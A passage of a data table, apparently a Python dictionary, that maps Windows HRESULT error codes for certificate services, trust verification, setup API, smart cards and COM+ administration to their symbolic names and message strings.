0x80094009: ("CERTSRV_E_RESTRICTEDOFFICER", "The operation is denied. It can only be performed by a certificate manager that is allowed to manage certificates for the current requester."),
0x8009400A: ("CERTSRV_E_KEY_ARCHIVAL_NOT_CONFIGURED", "Cannot archive private key. The CA is not configured for key archival."),
0x8009400B: ("CERTSRV_E_NO_VALID_KRA", "Cannot archive private key. The CA could not verify one or more key recovery certificates."),
0x8009400C: ("CERTSRV_E_BAD_REQUEST_KEY_ARCHIVAL", "The request is incorrectly formatted. The encrypted private key must be in an unauthenticated attribute in an outermost signature."),
0x8009400D: ("CERTSRV_E_NO_CAADMIN_DEFINED", "At least one security principal must have the permission to manage this CA."),
0x8009400E: ("CERTSRV_E_BAD_RENEWAL_CERT_ATTRIBUTE", "The request contains an invalid renewal certificate attribute."),
0x8009400F: ("CERTSRV_E_NO_DB_SESSIONS", "An attempt was made to open a CA database session, but there are already too many active sessions. The server may need to be configured to allow additional sessions."),
0x80094010: ("CERTSRV_E_ALIGNMENT_FAULT", "A memory reference caused a data alignment fault."),
0x80094011: ("CERTSRV_E_ENROLL_DENIED", "The permissions on this CA do not allow the current user to enroll for certificates."),
0x80094012: ("CERTSRV_E_TEMPLATE_DENIED", "The permissions on the certificate template do not allow the current user to enroll for this type of certificate."),
0x80094013: ("CERTSRV_E_DOWNLEVEL_DC_SSL_OR_UPGRADE", "The contacted domain controller cannot support signed Lightweight Directory Access Protocol (LDAP) traffic. Update the domain controller or configure Certificate Services to use SSL for Active Directory access."),
0x80094800: ("CERTSRV_E_UNSUPPORTED_CERT_TYPE", "The requested certificate template is not supported by this CA."),
0x80094801: ("CERTSRV_E_NO_CERT_TYPE", "The request contains no certificate template information."),
0x80094802: ("CERTSRV_E_TEMPLATE_CONFLICT", "The request contains conflicting template information."),
0x80094803: ("CERTSRV_E_SUBJECT_ALT_NAME_REQUIRED", "The request is missing a required Subject Alternate name extension."),
0x80094804: ("CERTSRV_E_ARCHIVED_KEY_REQUIRED", "The request is missing a required private key for archival by the server."),
0x80094805: ("CERTSRV_E_SMIME_REQUIRED", "The request is missing a required SMIME capabilities extension."),
0x80094806: ("CERTSRV_E_BAD_RENEWAL_SUBJECT", "The request was made on behalf of a subject other than the caller. The certificate template must be configured to require at least one signature to authorize the request."),
0x80094807: ("CERTSRV_E_BAD_TEMPLATE_VERSION", "The request template version is newer than the supported template version."),
0x80094808: ("CERTSRV_E_TEMPLATE_POLICY_REQUIRED", "The template is missing a required signature policy attribute."),
0x80094809: ("CERTSRV_E_SIGNATURE_POLICY_REQUIRED", "The request is missing required signature policy information."),
0x8009480A: ("CERTSRV_E_SIGNATURE_COUNT", "The request is missing one or more required signatures."),
0x8009480B: ("CERTSRV_E_SIGNATURE_REJECTED", "One or more signatures did not include the required application or issuance policies. The request is missing one or more required valid signatures."),
0x8009480C: ("CERTSRV_E_ISSUANCE_POLICY_REQUIRED", "The request is missing one or more required signature issuance policies."),
0x8009480D: ("CERTSRV_E_SUBJECT_UPN_REQUIRED", "The UPN is unavailable and cannot be added to the Subject Alternate name."),
0x8009480E: ("CERTSRV_E_SUBJECT_DIRECTORY_GUID_REQUIRED", "The Active Directory GUID is unavailable and cannot be added to the Subject Alternate name."),
0x8009480F: ("CERTSRV_E_SUBJECT_DNS_REQUIRED", "The Domain Name System (DNS) name is unavailable and cannot be added to the Subject Alternate name."),
0x80094810: ("CERTSRV_E_ARCHIVED_KEY_UNEXPECTED", "The request includes a private key for archival by the server, but key archival is not enabled for the specified certificate template."),
0x80094811: ("CERTSRV_E_KEY_LENGTH", "The public key does not meet the minimum size required by the specified certificate template."),
0x80094812: ("CERTSRV_E_SUBJECT_EMAIL_REQUIRED", "The email name is unavailable and cannot be added to the Subject or Subject Alternate name."),
0x80094813: ("CERTSRV_E_UNKNOWN_CERT_TYPE", "One or more certificate templates to be enabled on this CA could not be found."),
0x80094814: ("CERTSRV_E_CERT_TYPE_OVERLAP", "The certificate template renewal period is longer than the certificate validity period. The template should be reconfigured or the CA certificate renewed."),
0x80094815: ("CERTSRV_E_TOO_MANY_SIGNATURES", "The certificate template requires too many return authorization (RA) signatures. Only one RA signature is allowed."),
0x80094816: ("CERTSRV_E_RENEWAL_BAD_PUBLIC_KEY", "The key used in a renewal request does not match one of the certificates being renewed."),
0x80094817: ("CERTSRV_E_INVALID_EK", "The endorsement key certificate is not valid."),
0x8009481A: ("CERTSRV_E_KEY_ATTESTATION", "Key attestation did not succeed."),
0x80095000: ("XENROLL_E_KEY_NOT_EXPORTABLE", "The key is not exportable."),
0x80095001: ("XENROLL_E_CANNOT_ADD_ROOT_CERT", "You cannot add the root CA certificate into your local store."),
0x80095002: ("XENROLL_E_RESPONSE_KA_HASH_NOT_FOUND", "The key archival hash attribute was not found in the response."),
0x80095003: ("XENROLL_E_RESPONSE_UNEXPECTED_KA_HASH", "An unexpected key archival hash attribute was found in the response."),
0x80095004: ("XENROLL_E_RESPONSE_KA_HASH_MISMATCH", "There is a key archival hash mismatch between the request and the response."),
0x80095005: ("XENROLL_E_KEYSPEC_SMIME_MISMATCH", "Signing certificate cannot include SMIME extension."),
0x80096001: ("TRUST_E_SYSTEM_ERROR", "A system-level error occurred while verifying trust."),
0x80096002: ("TRUST_E_NO_SIGNER_CERT", "The certificate for the signer of the message is invalid or not found."),
0x80096003: ("TRUST_E_COUNTER_SIGNER", "One of the counter signatures was invalid."),
0x80096004: ("TRUST_E_CERT_SIGNATURE", "The signature of the certificate cannot be verified."),
0x80096005: ("TRUST_E_TIME_STAMP", "The time-stamp signature or certificate could not be verified or is malformed."),
0x80096010: ("TRUST_E_BAD_DIGEST", "The digital signature of the object did not verify."),
0x80096019: ("TRUST_E_BASIC_CONSTRAINTS", "A certificate's basic constraint extension has not been observed."),
0x8009601E: ("TRUST_E_FINANCIAL_CRITERIA", "The certificate does not meet or contain the Authenticode financial extensions."),
0x80097001: ("MSSIPOTF_E_OUTOFMEMRANGE", "Tried to reference a part of the file outside the proper range."),
0x80097002: ("MSSIPOTF_E_CANTGETOBJECT", "Could not retrieve an object from the file."),
0x80097003: ("MSSIPOTF_E_NOHEADTABLE", "Could not find the head table in the file."),
0x80097004: ("MSSIPOTF_E_BAD_MAGICNUMBER", "The magic number in the head table is incorrect."),
0x80097005: ("MSSIPOTF_E_BAD_OFFSET_TABLE", "The offset table has incorrect values."),
0x80097006: ("MSSIPOTF_E_TABLE_TAGORDER", "Duplicate table tags or the tags are out of alphabetical order."),
0x80097007: ("MSSIPOTF_E_TABLE_LONGWORD", "A table does not start on a long word boundary."),
0x80097008: ("MSSIPOTF_E_BAD_FIRST_TABLE_PLACEMENT", "First table does not appear after header information."),
0x80097009: ("MSSIPOTF_E_TABLES_OVERLAP", "Two or more tables overlap."),
0x8009700A: ("MSSIPOTF_E_TABLE_PADBYTES", "Too many pad bytes between tables, or pad bytes are not 0."),
0x8009700B: ("MSSIPOTF_E_FILETOOSMALL", "File is too small to contain the last table."),
0x8009700C: ("MSSIPOTF_E_TABLE_CHECKSUM", "A table checksum is incorrect."),
0x8009700D: ("MSSIPOTF_E_FILE_CHECKSUM", "The file checksum is incorrect."),
0x80097010: ("MSSIPOTF_E_FAILED_POLICY", "The signature does not have the correct attributes for the policy."),
0x80097011: ("MSSIPOTF_E_FAILED_HINTS_CHECK", "The file did not pass the hints check."),
0x80097012: ("MSSIPOTF_E_NOT_OPENTYPE", "The file is not an OpenType file."),
0x80097013: ("MSSIPOTF_E_FILE", "Failed on a file operation (such as open, map, read, or write)."),
0x80097014: ("MSSIPOTF_E_CRYPT", "A call to a CryptoAPI function failed."),
0x80097015: ("MSSIPOTF_E_BADVERSION", "There is a bad version number in the file."),
0x80097016: ("MSSIPOTF_E_DSIG_STRUCTURE", "The structure of the DSIG table is incorrect."),
0x80097017: ("MSSIPOTF_E_PCONST_CHECK", "A check failed in a partially constant table."),
0x80097018: ("MSSIPOTF_E_STRUCTURE", "Some kind of structural error."),
0x80097019: ("ERROR_CRED_REQUIRES_CONFIRMATION", "The requested credential requires confirmation."),
0x800B0001: ("TRUST_E_PROVIDER_UNKNOWN", "Unknown trust provider."),
0x800B0002: ("TRUST_E_ACTION_UNKNOWN", "The trust verification action specified is not supported by the specified trust provider."),
0x800B0003: ("TRUST_E_SUBJECT_FORM_UNKNOWN", "The form specified for the subject is not one supported or known by the specified trust provider."),
0x800B0004: ("TRUST_E_SUBJECT_NOT_TRUSTED", "The subject is not trusted for the specified action."),
0x800B0005: ("DIGSIG_E_ENCODE", "Error due to problem in ASN.1 encoding process."),
0x800B0006: ("DIGSIG_E_DECODE", "Error due to problem in ASN.1 decoding process."),
0x800B0007: ("DIGSIG_E_EXTENSIBILITY", "Reading/writing extensions where attributes are appropriate, and vice versa."),
0x800B0008: ("DIGSIG_E_CRYPTO", "Unspecified cryptographic failure."),
0x800B0009: ("PERSIST_E_SIZEDEFINITE", "The size of the data could not be determined."),
0x800B000A: ("PERSIST_E_SIZEINDEFINITE", "The size of the indefinite-sized data could not be determined."),
0x800B000B: ("PERSIST_E_NOTSELFSIZING", "This object does not read and write self-sizing data."),
0x800B0100: ("TRUST_E_NOSIGNATURE", "No signature was present in the subject."),
0x800B0101: ("CERT_E_EXPIRED", "A required certificate is not within its validity period when verifying against the current system clock or the time stamp in the signed file."),
0x800B0102: ("CERT_E_VALIDITYPERIODNESTING", "The validity periods of the certification chain do not nest correctly."),
0x800B0103: ("CERT_E_ROLE", "A certificate that can only be used as an end entity is being used as a CA or vice versa."),
0x800B0104: ("CERT_E_PATHLENCONST", "A path length constraint in the certification chain has been violated."),
0x800B0105: ("CERT_E_CRITICAL", "A certificate contains an unknown extension that is marked \"critical\"."),
0x800B0106: ("CERT_E_PURPOSE", "A certificate is being used for a purpose other than the ones specified by its CA."),
0x800B0107: ("CERT_E_ISSUERCHAINING", "A parent of a given certificate did not issue that child certificate."),
0x800B0108: ("CERT_E_MALFORMED", "A certificate is missing or has an empty value for an important field, such as a subject or issuer name."),
0x800B0109: ("CERT_E_UNTRUSTEDROOT", "A certificate chain processed, but terminated in a root certificate that is not trusted by the trust provider."),
0x800B010A: ("CERT_E_CHAINING", "A certificate chain could not be built to a trusted root authority."),
0x800B010B: ("TRUST_E_FAIL", "Generic trust failure."),
0x800B010C: ("CERT_E_REVOKED", "A certificate was explicitly revoked by its issuer."),
0x800B010D: ("CERT_E_UNTRUSTEDTESTROOT", "The certification path terminates with the test root that is not trusted with the current policy settings."),
0x800B010E: ("CERT_E_REVOCATION_FAILURE", "The revocation process could not continue-the certificates could not be checked."),
0x800B010F: ("CERT_E_CN_NO_MATCH", "The certificate's CN name does not match the passed value."),
0x800B0110: ("CERT_E_WRONG_USAGE", "The certificate is not valid for the requested usage."),
0x800B0111: ("TRUST_E_EXPLICIT_DISTRUST", "The certificate was explicitly marked as untrusted by the user."),
0x800B0112: ("CERT_E_UNTRUSTEDCA", "A certification chain processed correctly, but one of the CA certificates is not trusted by the policy provider."),
0x800B0113: ("CERT_E_INVALID_POLICY", "The certificate has invalid policy."),
0x800B0114: ("CERT_E_INVALID_NAME", "The certificate has an invalid name. The name is not included in the permitted list or is explicitly excluded."),
0x800D0003: ("NS_W_SERVER_BANDWIDTH_LIMIT", "The maximum filebitrate value specified is greater than the server's configured maximum bandwidth."),
0x800D0004: ("NS_W_FILE_BANDWIDTH_LIMIT", "The maximum bandwidth value specified is less than the maximum filebitrate."),
0x800D0060: ("NS_W_UNKNOWN_EVENT", "Unknown %1 event encountered."),
0x800D0199: ("NS_I_CATATONIC_FAILURE", "Disk %1 ( %2 ) on Content Server %3, will be failed because it is catatonic."),
0x800D019A: ("NS_I_CATATONIC_AUTO_UNFAIL", "Disk %1 ( %2 ) on Content Server %3, auto online from catatonic state."),
0x800F0000: ("SPAPI_E_EXPECTED_SECTION_NAME", "A non-empty line was encountered in the INF before the start of a section."),
0x800F0001: ("SPAPI_E_BAD_SECTION_NAME_LINE", "A section name marker in the information file (INF) is not complete or does not exist on a line by itself."),
0x800F0002: ("SPAPI_E_SECTION_NAME_TOO_LONG", "An INF section was encountered whose name exceeds the maximum section name length."),
0x800F0003: ("SPAPI_E_GENERAL_SYNTAX", "The syntax of the INF is invalid."),
0x800F0100: ("SPAPI_E_WRONG_INF_STYLE", "The style of the INF is different than what was requested."),
0x800F0101: ("SPAPI_E_SECTION_NOT_FOUND", "The required section was not found in the INF."),
0x800F0102: ("SPAPI_E_LINE_NOT_FOUND", "The required line was not found in the INF."),
0x800F0103: ("SPAPI_E_NO_BACKUP", "The files affected by the installation of this file queue have not been backed up for uninstall."),
0x800F0200: ("SPAPI_E_NO_ASSOCIATED_CLASS", "The INF or the device information set or element does not have an associated install class."),
0x800F0201: ("SPAPI_E_CLASS_MISMATCH", "The INF or the device information set or element does not match the specified install class."),
0x800F0202: ("SPAPI_E_DUPLICATE_FOUND", "An existing device was found that is a duplicate of the device being manually installed."),
0x800F0203: ("SPAPI_E_NO_DRIVER_SELECTED", "There is no driver selected for the device information set or element."),
0x800F0204: ("SPAPI_E_KEY_DOES_NOT_EXIST", "The requested device registry key does not exist."),
0x800F0205: ("SPAPI_E_INVALID_DEVINST_NAME", "The device instance name is invalid."),
0x800F0206: ("SPAPI_E_INVALID_CLASS", "The install class is not present or is invalid."),
0x800F0207: ("SPAPI_E_DEVINST_ALREADY_EXISTS", "The device instance cannot be created because it already exists."),
0x800F0208: ("SPAPI_E_DEVINFO_NOT_REGISTERED", "The operation cannot be performed on a device information element that has not been registered."),
0x800F0209: ("SPAPI_E_INVALID_REG_PROPERTY", "The device property code is invalid."),
0x800F020A: ("SPAPI_E_NO_INF", "The INF from which a driver list is to be built does not exist."),
0x800F020B: ("SPAPI_E_NO_SUCH_DEVINST", "The device instance does not exist in the hardware tree."),
0x800F020C: ("SPAPI_E_CANT_LOAD_CLASS_ICON", "The icon representing this install class cannot be loaded."),
0x800F020D: ("SPAPI_E_INVALID_CLASS_INSTALLER", "The class installer registry entry is invalid."),
0x800F020E: ("SPAPI_E_DI_DO_DEFAULT", "The class installer has indicated that the default action should be performed for this installation request."),
0x800F020F: ("SPAPI_E_DI_NOFILECOPY", "The operation does not require any files to be copied."),
0x800F0210: ("SPAPI_E_INVALID_HWPROFILE", "The specified hardware profile does not exist."),
0x800F0211: ("SPAPI_E_NO_DEVICE_SELECTED", "There is no device information element currently selected for this device information set."),
0x800F0212: ("SPAPI_E_DEVINFO_LIST_LOCKED", "The operation cannot be performed because the device information set is locked."),
0x800F0213: ("SPAPI_E_DEVINFO_DATA_LOCKED", "The operation cannot be performed because the device information element is locked."),
0x800F0214: ("SPAPI_E_DI_BAD_PATH", "The specified path does not contain any applicable device INFs."),
0x800F0215: ("SPAPI_E_NO_CLASSINSTALL_PARAMS", "No class installer parameters have been set for the device information set or element."),
0x800F0216: ("SPAPI_E_FILEQUEUE_LOCKED", "The operation cannot be performed because the file queue is locked."),
0x800F0217: ("SPAPI_E_BAD_SERVICE_INSTALLSECT", "A service installation section in this INF is invalid."),
0x800F0218: ("SPAPI_E_NO_CLASS_DRIVER_LIST", "There is no class driver list for the device information element."),
0x800F0219: ("SPAPI_E_NO_ASSOCIATED_SERVICE", "The installation failed because a function driver was not specified for this device instance."),
0x800F021A: ("SPAPI_E_NO_DEFAULT_DEVICE_INTERFACE", "There is presently no default device interface designated for this interface class."),
0x800F021B: ("SPAPI_E_DEVICE_INTERFACE_ACTIVE", "The operation cannot be performed because the device interface is currently active."),
0x800F021C: ("SPAPI_E_DEVICE_INTERFACE_REMOVED", "The operation cannot be performed because the device interface has been removed from the system."),
0x800F021D: ("SPAPI_E_BAD_INTERFACE_INSTALLSECT", "An interface installation section in this INF is invalid."),
0x800F021E: ("SPAPI_E_NO_SUCH_INTERFACE_CLASS", "This interface class does not exist in the system."),
0x800F021F: ("SPAPI_E_INVALID_REFERENCE_STRING", "The reference string supplied for this interface device is invalid."),
0x800F0220: ("SPAPI_E_INVALID_MACHINENAME", "The specified machine name does not conform to Universal Naming Convention (UNCs)."),
0x800F0221: ("SPAPI_E_REMOTE_COMM_FAILURE", "A general remote communication error occurred."),
0x800F0222: ("SPAPI_E_MACHINE_UNAVAILABLE", "The machine selected for remote communication is not available at this time."),
0x800F0223: ("SPAPI_E_NO_CONFIGMGR_SERVICES", "The Plug and Play service is not available on the remote machine."),
0x800F0224: ("SPAPI_E_INVALID_PROPPAGE_PROVIDER", "The property page provider registry entry is invalid."),
0x800F0225: ("SPAPI_E_NO_SUCH_DEVICE_INTERFACE", "The requested device interface is not present in the system."),
0x800F0226: ("SPAPI_E_DI_POSTPROCESSING_REQUIRED", "The device's co-installer has additional work to perform after installation is complete."),
0x800F0227: ("SPAPI_E_INVALID_COINSTALLER", "The device's co-installer is invalid."),
0x800F0228: ("SPAPI_E_NO_COMPAT_DRIVERS", "There are no compatible drivers for this device."),
0x800F0229: ("SPAPI_E_NO_DEVICE_ICON", "There is no icon that represents this device or device type."),
0x800F022A: ("SPAPI_E_INVALID_INF_LOGCONFIG", "A logical configuration specified in this INF is invalid."),
0x800F022B: ("SPAPI_E_DI_DONT_INSTALL", "The class installer has denied the request to install or upgrade this device."),
0x800F022C: ("SPAPI_E_INVALID_FILTER_DRIVER", "One of the filter drivers installed for this device is invalid."),
0x800F022D: ("SPAPI_E_NON_WINDOWS_NT_DRIVER", "The driver selected for this device does not support Windows XP."),
0x800F022E: ("SPAPI_E_NON_WINDOWS_DRIVER", "The driver selected for this device does not support Windows."),
0x800F022F: ("SPAPI_E_NO_CATALOG_FOR_OEM_INF", "The third-party INF does not contain digital signature information."),
0x800F0230: ("SPAPI_E_DEVINSTALL_QUEUE_NONNATIVE", "An invalid attempt was made to use a device installation file queue for verification of digital signatures relative to other platforms."),
0x800F0231: ("SPAPI_E_NOT_DISABLEABLE", "The device cannot be disabled."),
0x800F0232: ("SPAPI_E_CANT_REMOVE_DEVINST", "The device could not be dynamically removed."),
0x800F0233: ("SPAPI_E_INVALID_TARGET", "Cannot copy to specified target."),
0x800F0234: ("SPAPI_E_DRIVER_NONNATIVE", "Driver is not intended for this platform."),
0x800F0235: ("SPAPI_E_IN_WOW64", "Operation not allowed in WOW64."),
0x800F0236: ("SPAPI_E_SET_SYSTEM_RESTORE_POINT", "The operation involving unsigned file copying was rolled back, so that a system restore point could be set."),
0x800F0237: ("SPAPI_E_INCORRECTLY_COPIED_INF", "An INF was copied into the Windows INF directory in an improper manner."),
0x800F0238: ("SPAPI_E_SCE_DISABLED", "The Security Configuration Editor (SCE) APIs have been disabled on this embedded product."),
0x800F0239: ("SPAPI_E_UNKNOWN_EXCEPTION", "An unknown exception was encountered."),
0x800F023A: ("SPAPI_E_PNP_REGISTRY_ERROR", "A problem was encountered when accessing the Plug and Play registry database."),
0x800F023B: ("SPAPI_E_REMOTE_REQUEST_UNSUPPORTED", "The requested operation is not supported for a remote machine."),
0x800F023C: ("SPAPI_E_NOT_AN_INSTALLED_OEM_INF", "The specified file is not an installed original equipment manufacturer (OEM) INF."),
0x800F023D: ("SPAPI_E_INF_IN_USE_BY_DEVICES", "One or more devices are presently installed using the specified INF."),
0x800F023E: ("SPAPI_E_DI_FUNCTION_OBSOLETE", "The requested device install operation is obsolete."),
0x800F023F: ("SPAPI_E_NO_AUTHENTICODE_CATALOG", "A file could not be verified because it does not have an associated catalog signed via Authenticode."),
0x800F0240: ("SPAPI_E_AUTHENTICODE_DISALLOWED", "Authenticode signature verification is not supported for the specified INF."),
0x800F0241: ("SPAPI_E_AUTHENTICODE_TRUSTED_PUBLISHER", "The INF was signed with an Authenticode catalog from a trusted publisher."),
0x800F0242: ("SPAPI_E_AUTHENTICODE_TRUST_NOT_ESTABLISHED", "The publisher of an Authenticode-signed catalog has not yet been established as trusted."),
0x800F0243: ("SPAPI_E_AUTHENTICODE_PUBLISHER_NOT_TRUSTED", "The publisher of an Authenticode-signed catalog was not established as trusted."),
0x800F0244: ("SPAPI_E_SIGNATURE_OSATTRIBUTE_MISMATCH", "The software was tested for compliance with Windows logo requirements on a different version of Windows and may not be compatible with this version."),
0x800F0245: ("SPAPI_E_ONLY_VALIDATE_VIA_AUTHENTICODE", "The file may be validated only by a catalog signed via Authenticode."),
0x800F0246: ("SPAPI_E_DEVICE_INSTALLER_NOT_READY", "One of the installers for this device cannot perform the installation at this time."),
0x800F0247: ("SPAPI_E_DRIVER_STORE_ADD_FAILED", "A problem was encountered while attempting to add the driver to the store."),
0x800F0248: ("SPAPI_E_DEVICE_INSTALL_BLOCKED", "The installation of this device is forbidden by system policy. Contact your system administrator."),
0x800F0249: ("SPAPI_E_DRIVER_INSTALL_BLOCKED", "The installation of this driver is forbidden by system policy. Contact your system administrator."),
0x800F024A: ("SPAPI_E_WRONG_INF_TYPE", "The specified INF is the wrong type for this operation."),
0x800F024B: ("SPAPI_E_FILE_HASH_NOT_IN_CATALOG", "The hash for the file is not present in the specified catalog file. The file is likely corrupt or the victim of tampering."),
0x800F024C: ("SPAPI_E_DRIVER_STORE_DELETE_FAILED", "A problem was encountered while attempting to delete the driver from the store."),
0x800F0300: ("SPAPI_E_UNRECOVERABLE_STACK_OVERFLOW", "An unrecoverable stack overflow was encountered."),
0x800F1000: ("SPAPI_E_ERROR_NOT_INSTALLED", "No installed components were detected."),
0x80100001: ("SCARD_F_INTERNAL_ERROR", "An internal consistency check failed."),
0x80100002: ("SCARD_E_CANCELLED", "The action was canceled by an SCardCancel request."),
0x80100003: ("SCARD_E_INVALID_HANDLE", "The supplied handle was invalid."),
0x80100004: ("SCARD_E_INVALID_PARAMETER", "One or more of the supplied parameters could not be properly interpreted."),
0x80100005: ("SCARD_E_INVALID_TARGET", "Registry startup information is missing or invalid."),
0x80100006: ("SCARD_E_NO_MEMORY", "Not enough memory available to complete this command."),
0x80100007: ("SCARD_F_WAITED_TOO_LONG", "An internal consistency timer has expired."),
0x80100008: ("SCARD_E_INSUFFICIENT_BUFFER", "The data buffer to receive returned data is too small for the returned data."),
0x80100009: ("SCARD_E_UNKNOWN_READER", "The specified reader name is not recognized."),
0x8010000A: ("SCARD_E_TIMEOUT", "The user-specified time-out value has expired."),
0x8010000B: ("SCARD_E_SHARING_VIOLATION", "The smart card cannot be accessed because of other connections outstanding."),
0x8010000C: ("SCARD_E_NO_SMARTCARD", "The operation requires a smart card, but no smart card is currently in the device."),
0x8010000D: ("SCARD_E_UNKNOWN_CARD", "The specified smart card name is not recognized."),
0x8010000E: ("SCARD_E_CANT_DISPOSE", "The system could not dispose of the media in the requested manner."),
0x8010000F: ("SCARD_E_PROTO_MISMATCH", "The requested protocols are incompatible with the protocol currently in use with the smart card."),
0x80100010: ("SCARD_E_NOT_READY", "The reader or smart card is not ready to accept commands."),
0x80100011: ("SCARD_E_INVALID_VALUE", "One or more of the supplied parameters values could not be properly interpreted."),
0x80100012: ("SCARD_E_SYSTEM_CANCELLED", "The action was canceled by the system, presumably to log off or shut down."),
0x80100013: ("SCARD_F_COMM_ERROR", "An internal communications error has been detected."),
0x80100014: ("SCARD_F_UNKNOWN_ERROR", "An internal error has been detected, but the source is unknown."),
0x80100015: ("SCARD_E_INVALID_ATR", "An automatic terminal recognition (ATR) obtained from the registry is not a valid ATR string."),
0x80100016: ("SCARD_E_NOT_TRANSACTED", "An attempt was made to end a nonexistent transaction."),
0x80100017: ("SCARD_E_READER_UNAVAILABLE", "The specified reader is not currently available for use."),
0x80100018: ("SCARD_P_SHUTDOWN", "The operation has been aborted to allow the server application to exit."),
0x80100019: ("SCARD_E_PCI_TOO_SMALL", "The peripheral component interconnect (PCI) Receive buffer was too small."),
0x8010001A: ("SCARD_E_READER_UNSUPPORTED", "The reader driver does not meet minimal requirements for support."),
0x8010001B: ("SCARD_E_DUPLICATE_READER", "The reader driver did not produce a unique reader name."),
0x8010001C: ("SCARD_E_CARD_UNSUPPORTED", "The smart card does not meet minimal requirements for support."),
0x8010001D: ("SCARD_E_NO_SERVICE", "The smart card resource manager is not running."),
0x8010001E: ("SCARD_E_SERVICE_STOPPED", "The smart card resource manager has shut down."),
0x8010001F: ("SCARD_E_UNEXPECTED", "An unexpected card error has occurred."),
0x80100020: ("SCARD_E_ICC_INSTALLATION", "No primary provider can be found for the smart card."),
0x80100021: ("SCARD_E_ICC_CREATEORDER", "The requested order of object creation is not supported."),
0x80100022: ("SCARD_E_UNSUPPORTED_FEATURE", "This smart card does not support the requested feature."),
0x80100023: ("SCARD_E_DIR_NOT_FOUND", "The identified directory does not exist in the smart card."),
0x80100024: ("SCARD_E_FILE_NOT_FOUND", "The identified file does not exist in the smart card."),
0x80100025: ("SCARD_E_NO_DIR", "The supplied path does not represent a smart card directory."),
0x80100026: ("SCARD_E_NO_FILE", "The supplied path does not represent a smart card file."),
0x80100027: ("SCARD_E_NO_ACCESS", "Access is denied to this file."),
0x80100028: ("SCARD_E_WRITE_TOO_MANY", "The smart card does not have enough memory to store the information."),
0x80100029: ("SCARD_E_BAD_SEEK", "There was an error trying to set the smart card file object pointer."),
0x8010002A: ("SCARD_E_INVALID_CHV", "The supplied PIN is incorrect."),
0x8010002B: ("SCARD_E_UNKNOWN_RES_MNG", "An unrecognized error code was returned from a layered component."),
0x8010002C: ("SCARD_E_NO_SUCH_CERTIFICATE", "The requested certificate does not exist."),
0x8010002D: ("SCARD_E_CERTIFICATE_UNAVAILABLE", "The requested certificate could not be obtained."),
0x8010002E: ("SCARD_E_NO_READERS_AVAILABLE", "Cannot find a smart card reader."),
0x8010002F: ("SCARD_E_COMM_DATA_LOST", "A communications error with the smart card has been detected. Retry the operation."),
0x80100030: ("SCARD_E_NO_KEY_CONTAINER", "The requested key container does not exist on the smart card."),
0x80100031: ("SCARD_E_SERVER_TOO_BUSY", "The smart card resource manager is too busy to complete this operation."),
0x80100065: ("SCARD_W_UNSUPPORTED_CARD", "The reader cannot communicate with the smart card, due to ATR configuration conflicts."),
0x80100066: ("SCARD_W_UNRESPONSIVE_CARD", "The smart card is not responding to a reset."),
0x80100067: ("SCARD_W_UNPOWERED_CARD", "Power has been removed from the smart card, so that further communication is not possible."),
0x80100068: ("SCARD_W_RESET_CARD", "The smart card has been reset, so any shared state information is invalid."),
0x80100069: ("SCARD_W_REMOVED_CARD", "The smart card has been removed, so that further communication is not possible."),
0x8010006A: ("SCARD_W_SECURITY_VIOLATION", "Access was denied because of a security violation."),
0x8010006B: ("SCARD_W_WRONG_CHV", "The card cannot be accessed because the wrong PIN was presented."),
0x8010006C: ("SCARD_W_CHV_BLOCKED", "The card cannot be accessed because the maximum number of PIN entry attempts has been reached."),
0x8010006D: ("SCARD_W_EOF", "The end of the smart card file has been reached."),
0x8010006E: ("SCARD_W_CANCELLED_BY_USER", "The action was canceled by the user."),
0x8010006F: ("SCARD_W_CARD_NOT_AUTHENTICATED", "No PIN was presented to the smart card."),
0x80110401: ("COMADMIN_E_OBJECTERRORS", "Errors occurred accessing one or more objects-the ErrorInfo collection may have more detail."),
0x80110402: ("COMADMIN_E_OBJECTINVALID", "One or more of the object's properties are missing or invalid."),
0x80110403: ("COMADMIN_E_KEYMISSING", "The object was not found in the catalog."),
0x80110404: ("COMADMIN_E_ALREADYINSTALLED", "The object is already registered."),
0x80110407: ("COMADMIN_E_APP_FILE_WRITEFAIL", "An error occurred writing to the application file."),
0x80110408: ("COMADMIN_E_APP_FILE_READFAIL", "An error occurred reading the application file."),
0x80110409: ("COMADMIN_E_APP_FILE_VERSION", "Invalid version number in application file."),
0x8011040A: ("COMADMIN_E_BADPATH", "The file path is invalid."),
0x8011040B: ("COMADMIN_E_APPLICATIONEXISTS", "The application is already installed."),
0x8011040C: ("COMADMIN_E_ROLEEXISTS", "The role already exists."),
0x8011040D: ("COMADMIN_E_CANTCOPYFILE", "An error occurred copying the file."),
0x8011040F: ("COMADMIN_E_NOUSER", "One or more users are not valid."),
0x80110410: ("COMADMIN_E_INVALIDUSERIDS", "One or more users in the application file are not valid."),
0x80110411: ("COMADMIN_E_NOREGISTRYCLSID", "The component's CLSID is missing or corrupt."),
0x80110412: ("COMADMIN_E_BADREGISTRYPROGID", "The component's programmatic ID is missing or corrupt."),
0x80110413: ("COMADMIN_E_AUTHENTICATIONLEVEL", "Unable to set required authentication level for update request."),
0x80110414: ("COMADMIN_E_USERPASSWDNOTVALID", "The identity or password set on the application is not valid."),
0x80110418: ("COMADMIN_E_CLSIDORIIDMISMATCH", "Application file CLSIDs or instance identifiers (IIDs) do not match corresponding DLLs."),
0x80110419: ("COMADMIN_E_REMOTEINTERFACE", "Interface information is either missing or changed."),
0x8011041A: ("COMADMIN_E_DLLREGISTERSERVER", "DllRegisterServer failed on component install."),
0x8011041B: ("COMADMIN_E_NOSERVERSHARE", "No server file share available."),
0x8011041D: ("COMADMIN_E_DLLLOADFAILED", "DLL could not be loaded."),
0x8011041E: ("COMADMIN_E_BADREGISTRYLIBID", "The registered TypeLib ID is not valid."),
0x8011041F: ("COMADMIN_E_APPDIRNOTFOUND", "Application install directory not found."),
0x80110423: ("COMADMIN_E_REGISTRARFAILED", "Errors occurred while in the component registrar."),
0x80110424: ("COMADMIN_E_COMPFILE_DOESNOTEXIST", "The file does not exist."),
0x80110425: ("COMADMIN_E_COMPFILE_LOADDLLFAIL", "The DLL could not be loaded."),
0x80110426: ("COMADMIN_E_COMPFILE_GETCLASSOBJ", "GetClassObject failed in the DLL."),
0x80110427: ("COMADMIN_E_COMPFILE_CLASSNOTAVAIL", "The DLL does not support the components listed in the TypeLib."),
0x80110428: ("COMADMIN_E_COMPFILE_BADTLB", "The TypeLib could not be loaded."),
0x80110429: ("COMADMIN_E_COMPFILE_NOTINSTALLABLE", "The file does not contain components or component information."),
0x8011042A: ("COMADMIN_E_NOTCHANGEABLE", "Changes to this object and its subobjects have been disabled."),
